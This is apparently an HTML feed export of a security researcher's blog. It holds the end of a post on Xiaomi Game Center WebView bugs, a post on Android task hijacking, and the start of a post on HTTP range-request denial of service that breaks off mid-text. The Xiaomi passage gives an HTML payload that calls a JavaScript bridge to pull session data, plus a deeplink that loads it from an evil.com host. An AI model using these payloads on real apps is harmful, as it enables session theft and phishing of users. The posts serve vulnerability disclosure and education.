overflow-x: auto; padding: 0px 4px; vertical-align: baseline; white-space: pre;&quot;&gt;&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #444444; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;border: 0px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt; if (isJavaScripUrl(str)) {
&lt;/span&gt;&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #444444; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;2&lt;/span&gt;            this.mBridgeHandler.sendMessage(this.mBridgeHandler.obtainMessage(256, webView));
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #444444; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;3&lt;/span&gt;            return true;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #444444; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;4&lt;/span&gt;        } else if (str.startsWith(JS_MESSAGE_PREFIX)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #444444; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;5&lt;/span&gt;            Message obtainMessage = this.mBridgeHandler.obtainMessage(257, webView);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #444444; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;6&lt;/span&gt;            obtainMessage.getData().putString(&quot;url&quot;, str.substring(str.indexOf(JS_MESSAGE_PREFIX) + 50));
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #444444; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;7&lt;/span&gt;            this.mBridgeHandler.sendMessage(obtainMessage);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #444444; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;8&lt;/span&gt;            return true;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #444444; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;9&lt;/span&gt;        }
&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;The mentioned handler will look for that &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;java method&lt;/span&gt; inside the &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;com.xiaomi.gamecenter.ui.webkit.BaseWebViewClient&amp;nbsp;&lt;/span&gt;class, and then &lt;b&gt;invoke()&lt;/b&gt;&amp;nbsp;it,&amp;nbsp;as you can see here:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://lh3.googleusercontent.com/-MJ12D3pgeLM/YSr5x91BtWI/AAAAAAAABuI/AbsqvMn4BTAJFNkYPMjHdMQ9dLFyH70nQCLcBGAsYHQ/Screenshot%2B2021-08-29%2Bat%2B8.36.07%2BAM.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; data-original-height=&quot;636&quot; data-original-width=&quot;1162&quot; src=&quot;https://lh3.googleusercontent.com/-MJ12D3pgeLM/YSr5x91BtWI/AAAAAAAABuI/AbsqvMn4BTAJFNkYPMjHdMQ9dLFyH70nQCLcBGAsYHQ/s16000/Screenshot%2B2021-08-29%2Bat%2B8.36.07%2BAM.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;&lt;span style=&quot;caret-color: rgb(62, 62, 62); white-space: pre-line;&quot;&gt;This looks very interesting. Since we are using the &lt;b&gt;getMethod()&lt;/b&gt;&amp;nbsp;java method (&lt;/span&gt;&lt;span&gt;The &lt;b&gt;&lt;i&gt;java.lang.Class.getMethod()&lt;/i&gt;&lt;/b&gt; returns a &lt;b&gt;Method&lt;/b&gt; object that reflects the specified &lt;b&gt;public&lt;/b&gt; member method of the class or interface represented by the&amp;nbsp;&lt;b&gt;Class&lt;/b&gt; object&lt;/span&gt;&lt;span style=&quot;caret-color: rgb(62, 62, 62); white-space: pre-line;&quot;&gt;), all the methods which are declared as&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;caret-color: rgb(62, 62, 62); white-space: pre-line;&quot;&gt;&amp;nbsp;inside this class can be called in this way by using the above function. Some of these functions include:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;&lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;public void get_session_data()&lt;/span&gt; this method returns all session data in a JSON object:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://lh3.googleusercontent.com/-lGjrXmOr95E/YSr2aAhFArI/AAAAAAAABuA/bVd5C9ZH1TIgvMiZPqv0KGUglKltLtSKgCLcBGAsYHQ/Screenshot%2B2021-08-29%2Bat%2B8.22.12%2BAM.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; data-original-height=&quot;846&quot; data-original-width=&quot;1018&quot; src=&quot;https://lh3.googleusercontent.com/-lGjrXmOr95E/YSr2aAhFArI/AAAAAAAABuA/bVd5C9ZH1TIgvMiZPqv0KGUglKltLtSKgCLcBGAsYHQ/s16000/Screenshot%2B2021-08-29%2Bat%2B8.22.12%2BAM.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;&lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;public void client_method_execute()&lt;/span&gt; this method executes various other methods which include &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;READ/WRITE ACCESS TO ANDROID CALENDAR&lt;/span&gt; without permission prompt&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;So now I have a fair idea of how I can interact with the Java code using javascript inside my webview, but I still don't know &lt;i&gt;how&lt;/i&gt;&amp;nbsp;I can do this. To be sure, I can try to read the entire code and work my way backwards to come up with a proper payload, but I instead resorted to further recon inside the android app. Many times, I have found that the application will host some of its webview resources inside the &lt;b&gt;resources&lt;/b&gt;&amp;nbsp;directory, which can allow an attacker to read the code and figure out how a locally hosted webview file might interact with the application.&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span&gt;In this case, I was able to extract some very valuable information from&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-weight: 600;&quot;&gt;resources &amp;gt; assets &amp;gt; js &amp;gt; jsBridge-mix.js &lt;/span&gt;&lt;span&gt;which contained&amp;nbsp;&lt;/span&gt;&lt;span&gt;a lot of code involving native webview to Java interaction. You can find the JS &lt;a href=&quot;https://gist.github.com/t4kemyh4nd/12603f7b7e1261d505c786cdef049b6f&quot;&gt;here&lt;/a&gt;, to see what I was dealing with. After understanding the code, I figured out a lot of function calls and what their purpose is. Looking for the&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-weight: 600;&quot;&gt;get_session_data()&lt;/span&gt;&lt;span&gt;&amp;nbsp;from above also showed how a call looks like:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://lh3.googleusercontent.com/-noiW9UX23Es/YSrxwYiKudI/AAAAAAAABt4/4eoH2HfAMGESzZ-sHhMzXsvnu799-UIRwCLcBGAsYHQ/Screenshot%2B2021-08-29%2Bat%2B8.02.26%2BAM.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; data-original-height=&quot;186&quot; data-original-width=&quot;1350&quot; src=&quot;https://lh3.googleusercontent.com/-noiW9UX23Es/YSrxwYiKudI/AAAAAAAABt4/4eoH2HfAMGESzZ-sHhMzXsvnu799-UIRwCLcBGAsYHQ/s16000/Screenshot%2B2021-08-29%2Bat%2B8.02.26%2BAM.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;The &lt;b&gt;s()&lt;/b&gt;&amp;nbsp;function is basically a modified call to invoke the JS bridge. So now we can build the following payload which will alert the user's session data to us:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;background-color: white; background: #ffffff; border-color: gray; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
  &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;src=&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;'remote-server/jsBridge-mix.js'&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;//host the jsBridge-mix.js from resources directory&lt;/span&gt;
      JsBridge.invoke(&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;get_session_data&quot;&lt;/span&gt;, {}, &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;function&lt;/span&gt;(a) { &lt;span style=&quot;color: #888888;&quot;&gt;//the a variable will contain the response JSON object from the Java code&lt;/span&gt;
                        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;var&lt;/span&gt; i &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; {};
                        i &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; a;
                        &lt;span style=&quot;color: #007020;&quot;&gt;window&lt;/span&gt;.alert(JSON.stringify(i);
                    })
    &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
  &lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Making this attack remote is as easy as using a deeplink in your HTML page and having a user click on it.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span&gt;&lt;span style=&quot;font-weight: 600;&quot;&gt;&amp;lt;a href='migamecenter://openurl?&lt;/span&gt;&lt;/span&gt;&lt;b&gt;https://api.music.xiaomi.com/web?url=http://www.evil.com\www.xiaomi.com&amp;gt;&lt;/b&gt;&amp;nbsp;with the above HTML payload hosted inside.&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Similarly, I can read the rest of the code and also reverse engineer a payload to execute any method that I want to, like the&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: large; font-weight: 600;&quot;&gt;client_method_execute()&lt;/span&gt;&lt;span style=&quot;font-size: large;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;That's all for part 1. I will release more of my findings once Xiaomi fixes them. Thanks for reading :)&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Mon, 19 Jul 2021 14:33:00 +0000</pubDate>
        <link>//2021/07/hacking-on-xiaomis-android-apps</link>
        <guid isPermaLink="true">//2021/07/hacking-on-xiaomis-android-apps</guid>
        
        
      </item>
    
      <item>
        <title>Android task hijacking using moveTaskToBack() and excludeFromRecents</title>
        <description>&lt;div id=&quot;html&quot;&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;What is task hijacking in Android?&lt;/h2&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Task hijacking and it's impact in Android was first presented in 2015 at &lt;a href=&quot;https://www.usenix.org/sites/default/files/conference/protected-files/sec15_slides_ren.pdf&quot; target=&quot;_blank&quot;&gt;USENIX&lt;/a&gt;. It refers to an attack wherein a malicious app takes over the &quot;back stack&quot; of the vulnerable app, and thereafter whenever the user tries to open the vulnerable app, he will instead by greeted by the activity of the malicious app.&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;What are tasks and back stacks?&lt;/h2&gt;&lt;div&gt;Android developer's documentation states - &quot;A &lt;b&gt;task&lt;/b&gt; is a collection of activities that users interact with when performing a certain job. The activities are arranged in a stack—called the &lt;b&gt;back stack&lt;/b&gt;—in the order in which each activity is opened. So when a user runs an application, and goes from activity 1 to activity 2, and finally to activity 3 - when the user presses the Back button, the current activity is popped from the top of the stack (the activity 3 is destroyed) and the previous activity (activity 2) resumes (the previous state of its UI is restored). Activities in the stack are never rearranged, only pushed and popped from the stack—pushed onto the stack when started by the current activity and popped off when the user leaves it using the Back button. As such, the back stack operates as a &quot;last in, first out&quot; object structure.&quot;&lt;/div&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://developer.android.com/images/fundamentals/diagram_backstack.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;From Android developer documentation&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;Android launch modes&lt;/h2&gt;&lt;div&gt;Launch modes are activity attributes that are specified in the AndroidManifest.xml (or mentioned as flags in the calling intent). They provide the underlying OS an instruction on how the activity should be launched. There are four modes that work in conjunction with activity flags (FLAG_ACTIVITY_* constants) in Intent objects to determine what should happen when the activity is called upon to handle an intent. They are:&lt;/div&gt;&lt;div&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;standard&lt;/li&gt;&lt;li&gt;singleTop&lt;/li&gt;&lt;li&gt;singleTask&lt;/li&gt;&lt;li&gt;singleInstance&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;For the attack described here, we are mostly concerned with the &quot;&lt;b&gt;singleTask&lt;/b&gt;&quot; mode.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A &quot;&lt;b&gt;singleTask&lt;/b&gt;&quot; activity allows other activities to be part of its task. It's always at the root of its task, but other activities (necessarily &quot;standard&quot; and &quot;singleTop&quot; activities) can be launched into that task.&lt;/div&gt;&lt;/div&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;Task hijacking with moveTaskToBack() function and excludeFromRecents attribute&lt;/h2&gt;&lt;div&gt;Activities in android can call the moveTaskToBack() function, which will move the task containing this activity to the &lt;b&gt;back of the activity stack &lt;/b&gt;(basically minimise the activity)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;What does the &lt;b&gt;excludeFromRecents&lt;/b&gt;&amp;nbsp;attribute do? This attribute will simply hide an application from popping up in the overview screen.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now let's look at how this can be used to create an exploit. An attacker can make an app (&lt;b&gt;com.tmh.attacker&lt;/b&gt;) with the following features:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/5d9496c50fc09e33426e9f2721ba8275.js&quot;&gt;&lt;/script&gt;&lt;div&gt;As you can see, the app has defined a &lt;b&gt;taskAffinity&lt;/b&gt;&amp;nbsp;for the entire application - this means that unless otherwise specified, all activities of this application will associate themselves with the task of&amp;nbsp;&lt;b&gt;com.tmh.victim&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;caret-color: rgb(4, 51, 255);&quot;&gt;Let us look at the attack in action now, after installing the victim and attacker apps.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;caret-color: rgb(4, 51, 255);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;giphy-embed&quot; frameborder=&quot;0&quot; height=&quot;480&quot; src=&quot;https://giphy.com/embed/ORCrbaJbVlPrLYlCjg&quot; width=&quot;248&quot;&gt;&lt;/iframe&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;span style=&quot;caret-color: rgb(4, 51, 255);&quot;&gt;When the user opens the attacker's app, it immediately minimises the task.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;caret-color: rgb(4, 51, 255);&quot;&gt;As you can see in the GIF, this does not show up at all in the overview screen.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;caret-color: rgb(4, 51, 255);&quot;&gt;After that, when the user opens the victim app, and presses the back button, instead of being taken to the home screen, he is taken to the attacker's application - thanks to the &lt;b&gt;taskAffinity&lt;/b&gt;&amp;nbsp;mentioned by the attacker's app which is set to the victim's app.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;span style=&quot;caret-color: rgb(4, 51, 255);&quot;&gt;For demonstration purposes, I have explicitly named the app as &quot;Attacker&quot;, but a real life exploitation can involve a very stealthy and convincing UI spoofing.&lt;/span&gt;&lt;/div&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;caret-color: rgb(4, 51, 255);&quot;&gt;Preventing task hijacking&lt;/span&gt;&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;caret-color: rgb(4, 51, 255);&quot;&gt;Setting taskAffinity=&quot;&quot; can be a quick fix for this issue. The launch mode can also be set to &lt;b&gt;singleInstance&lt;/b&gt;&amp;nbsp;if the app does not want other activities to join tasks belonging to it. A custom &lt;b&gt;onBackPressed()&lt;/b&gt;&amp;nbsp;function can also be added, to override the default behaviour.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Sat, 20 Feb 2021 15:07:00 +0000</pubDate>
        <link>//2021/02/android-task-hijacking-with</link>
        <guid isPermaLink="true">//2021/02/android-task-hijacking-with</guid>
        
        
      </item>
    
      <item>
        <title>Range Request DoS: An uncontrolled memory consumption vector in Go's net/http</title>
        <description>&lt;div id=&quot;html&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
In this blog I highlight a very old DoS technique, which works via usage of HTTP's range requests, which I have dubbed RRDoS for the rest of the post [short for Range Request Denial of Service]. This is not to be confused with ReDoS, which depends on misconfigured regex.&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
What are Range requests?&lt;/h2&gt;
&lt;div&gt;
Let's first understand what range requests are. Simply &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;put by MDN&lt;/a&gt;-&amp;nbsp;HTTP range requests allow to send only a portion of an HTTP message from a server to a client. Partial requests are useful for large media or downloading files with pause and resume functions, for example.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
As an example, if there is an endpoint which serves an image at path &lt;b&gt;/static/cat.jpg&lt;/b&gt; whose size is 1024 bytes, then we can request the first 10 bytes only by sending a request like:&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;line-numbers language-html&quot; style=&quot;-webkit-hyphens: none; background-color: #eeeeee; border-color: rgb(61, 126, 154); border-style: solid; border-width: 0px 0px 0px 5px; box-sizing: border-box; caret-color: rgb(51, 51, 51); color: #333333; counter-reset: linenumber 0; direction: ltr; font-family: consolas, monaco, &amp;quot;andale mono&amp;quot;, monospace; font-size: 16px; letter-spacing: -0.04447999969124794px; line-height: 1.5; margin-bottom: 20px; max-width: 100%; overflow: auto; padding: 15px 15px 15px 3.8em; position: relative; tab-size: 4; text-shadow: none; width: 785.25px; word-break: normal; word-wrap: normal;&quot;&gt;&lt;code class=&quot;language-html&quot; style=&quot;-webkit-hyphens: none; background-color: transparent; background-position: 0px 0px; border-bottom-left-radius: 2px; border-bottom-right-radius: 2px; border-top-left-radius: 2px; border-top-right-radius: 2px; border: 0px; font-family: consolas, monaco, &amp;quot;andale mono&amp;quot;, &amp;quot;ubuntu mono&amp;quot;, monospace; font-size: 1em; line-height: 1.5; margin: 0px; padding: 0px; position: relative; tab-size: 4; text-shadow: none; white-space: inherit; word-break: normal; word-spacing: normal; word-wrap: normal;&quot;&gt;GET /static/cat.jpg HTTP/1.1
Host: www.test.com
Range: bytes=0-10&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
Now if the server accepts range requests, it will reply with something like:&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;line-numbers language-html&quot; style=&quot;-webkit-hyphens: none; background-color: #eeeeee; border-color: rgb(61, 126, 154); border-style: solid; border-width: 0px 0px 0px 5px; box-sizing: border-box; caret-color: rgb(51, 51, 51); color: #333333; counter-reset: linenumber 0; direction: ltr; font-family: consolas, monaco, &amp;quot;andale mono&amp;quot;, monospace; font-size: 16px; letter-spacing: -0.04447999969124794px; line-height: 1.5; margin-bottom: 20px; max-width: 100%; overflow: auto; padding: 15px 15px 15px 3.8em; position: relative; tab-size: 4; text-shadow: none; width: 785.25px; word-break: normal; word-wrap: normal;&quot;&gt;&lt;code class=&quot;language-html&quot; style=&quot;-webkit-hyphens: none; background-color: transparent; background-position: 0px 0px; border-bottom-left-radius: 2px; border-bottom-right-radius: 2px; border-top-left-radius: 2px; border-top-right-radius: 2px; border: 0px; font-family: consolas, monaco, &amp;quot;andale mono&amp;quot;, &amp;quot;ubuntu mono&amp;quot;, monospace; font-size: 1em; line-height: 1.5; margin: 0px; padding: 0px; position: relative; tab-size: 4; text-shadow: none; white-space: inherit; word-break: normal; word-spacing: normal; word-wrap: normal;&quot;&gt;HTTP/1.1 206 Partial Content
Content-Range: bytes 0-10/1024
Content-Length: 10&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
Now that we know what range requests are, let's try to understand the attack.&lt;/div&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
Multipart ranges&lt;/h2&gt;
&lt;div&gt;
Using range requests, it is also possible for one to request multiple ranges for a resource, by sending a request like:&lt;/div&gt;
&lt;div&gt;
